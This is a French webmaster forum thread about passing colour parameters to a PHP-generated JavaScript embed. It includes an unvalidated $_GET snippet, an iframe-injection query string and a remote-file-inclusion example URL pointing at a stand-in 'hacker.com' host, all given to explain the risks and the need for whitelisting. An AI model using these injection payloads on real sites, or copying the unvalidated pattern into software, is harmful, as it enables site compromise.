Javascript généré en PHP et transmission de paramètres...
7 messages
• Page 1 sur 1
- jojobar
- Nouveau WRInaute

- Messages: 8
- Inscription: 23 Aoû 2005
Javascript généré en PHP et transmission de paramètres...
Salut!
Ces deniers temps j'ai essayé de concevoir un site de cuisine (archi-cuit), et maintenant, j'aimerais que n'importe quel webmaster puisse mettre une recette sur son site, qui changerait tous les jours. En gros, qu'il puisse ajouter dans son site une recette qui vient du mien.
J'ai donc décidé de générer du Javascript en PHP, ce qui a mon avis est plus propre d'une IFRAME. (cf http://www.peous.com/archicuit/webmasters.php)
Cela permet a n'importe qui d'avoir une recette où il veut sur son site juste en inscrivant
Mon problème est que je voudrais bien permettre à l'utilisateur changer la couleur du texte, etc.. mais je ne sais pas comment passer des paramètres à ma page dans cette balise <script language="javascript"> jusqu'à mon code PHP...
Une idée
Ces deniers temps j'ai essayé de concevoir un site de cuisine (archi-cuit), et maintenant, j'aimerais que n'importe quel webmaster puisse mettre une recette sur son site, qui changerait tous les jours. En gros, qu'il puisse ajouter dans son site une recette qui vient du mien.
J'ai donc décidé de générer du Javascript en PHP, ce qui a mon avis est plus propre d'une IFRAME. (cf http://www.peous.com/archicuit/webmasters.php)
Cela permet a n'importe qui d'avoir une recette où il veut sur son site juste en inscrivant
- Code: Tout sélectionner
<script language="javascript" type="text/javascript" src="http://www.peous.com/archicuit/js_show.php"></script>
Mon problème est que je voudrais bien permettre à l'utilisateur changer la couleur du texte, etc.. mais je ne sais pas comment passer des paramètres à ma page dans cette balise <script language="javascript"> jusqu'à mon code PHP...
Une idée
-

topaze - Nouveau WRInaute

- Messages: 13
- Inscription: 23 Aoû 2005
Tout simple...
comme tu fait appel à un script PHP, tu lui passe les valeurs avec la méthode get
pour le reste ru récupère dans ton script PHP(si c'est envoyé)
comme tu fait appel à un script PHP, tu lui passe les valeurs avec la méthode get
- Code: Tout sélectionner
<script language="javascript" type="text/javascript" src="http://www.peous.com/archicuit/js_show.php?texte=black&fond=white"></script>
pour le reste ru récupère dans ton script PHP(si c'est envoyé)
- Code: Tout sélectionner
<?php
if (isset($_GET['texte']))
$texte=$_GET['texte'];
else
$texte="black";
if (isset($_GET['fond']))
$fond=$_GET['fond'];
else
$fond="white";
?>
-

Blini - WRInaute impliqué

- Messages: 506
- Inscription: 29 Nov 2004
Il veur dire qu'une personne malattentionnée pourrait appeler une truc dans le genre:
http://www.peous.com/archicuit/js_show.php?texte=<iframe src="http://monsitepourri.com/bannière.php"/>
(c'est simplifié, mais la (mauvaise) idée est là)
http://www.peous.com/archicuit/js_show.php?texte=<iframe src="http://monsitepourri.com/bannière.php"/>
(c'est simplifié, mais la (mauvaise) idée est là)
-

topaze - Nouveau WRInaute

- Messages: 13
- Inscription: 23 Aoû 2005
Et non, toute la beauté du système, c'est que ce n'est justement pas une inclusion mais bien un passage de variable, du coup, c'est toi qui en reste maitre....
Evidement, tu fait une bête vérif avant de l'utiliser.....
-Une comparaison avec un tableau reprenant les seuls valeurs admises vers une autre chaine...
en LDA ca donne un truc du genre
Evidement, tu n'utilise pas la variable Texte pour définir ta couleur mais celle de transfert (couleurtexte)
-Une vérification de chaine formatée (vérif encodage RGB hexa)...
-.......y a plein de possibilités.
pour l'utilisation proprement dite, tu l'integre au style de sortie.
Essaye donc d'envoyer des IFRAMES de cette manière, c'est tout simplement IMPOSSIBLE...
le danger ne vient pas du passage de variable, mai bien de la manière de traiter cette variable....
C'est la base de la sécurité.
--------------------------------------------------------------------------------
Pour information, le problème de la fonction Include est que si tu utilise dans tes fichiers, une fonction du type, includes($page); et que $page n'est pas défini correctement dans le fichier, alors quelqu'un peut utiliser ton script en faisant : tonscript.php?page=http://hacker.com/hacking.txt
Et si http://hacker.com/hacking.txt est un fichier contenant des instructions PHP, elles seront exécutées sur ton site, ce qui peut autoriser le hacker à créer des fichers ou à modifier d'autres fichiers, voir à avoir accès à tes bases de données en lisant tes codes d'accès dans tes fichiers PHP locaux.
Evidement, tu fait une bête vérif avant de l'utiliser.....
-Une comparaison avec un tableau reprenant les seuls valeurs admises vers une autre chaine...
en LDA ca donne un truc du genre
- Code: Tout sélectionner
si texte="red" alors couleurtexte="#FF0000"
Evidement, tu n'utilise pas la variable Texte pour définir ta couleur mais celle de transfert (couleurtexte)
-Une vérification de chaine formatée (vérif encodage RGB hexa)...
-.......y a plein de possibilités.
pour l'utilisation proprement dite, tu l'integre au style de sortie.
- Code: Tout sélectionner
<div style="color:<? echo $couleurtexte; ?>;font-size:11px;">le texte à afficher</div>
Essaye donc d'envoyer des IFRAMES de cette manière, c'est tout simplement IMPOSSIBLE...
le danger ne vient pas du passage de variable, mai bien de la manière de traiter cette variable....
C'est la base de la sécurité.
--------------------------------------------------------------------------------
Pour information, le problème de la fonction Include est que si tu utilise dans tes fichiers, une fonction du type, includes($page); et que $page n'est pas défini correctement dans le fichier, alors quelqu'un peut utiliser ton script en faisant : tonscript.php?page=http://hacker.com/hacking.txt
Et si http://hacker.com/hacking.txt est un fichier contenant des instructions PHP, elles seront exécutées sur ton site, ce qui peut autoriser le hacker à créer des fichers ou à modifier d'autres fichiers, voir à avoir accès à tes bases de données en lisant tes codes d'accès dans tes fichiers PHP locaux.
7 messages
• Page 1 sur 1
Lectures recommandées sur ce thème :
- RedirectPermanent sans transmission des paramètres
- Paramètres influents du délai de transmission des emails
- contenu généré par du javascript dynamique
- Adsense me génère des erreurs Javascript !
- Encodage d'un popup généré par javascript
- Problème XML / RSS généré en PHP
- Mail + pièce jointe PDF généré en PHP
- Script php qui génére la carte de la france
- Retour à la ligne dans un fichier Excel généré en php
- Existe-il un script PHP qui genere la description d'une page
Consultez la description détaillée des produits ou services de Google suivants : Google Alerts, Google Related Links, Google Compute
Qui est en ligne
Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 1 invité


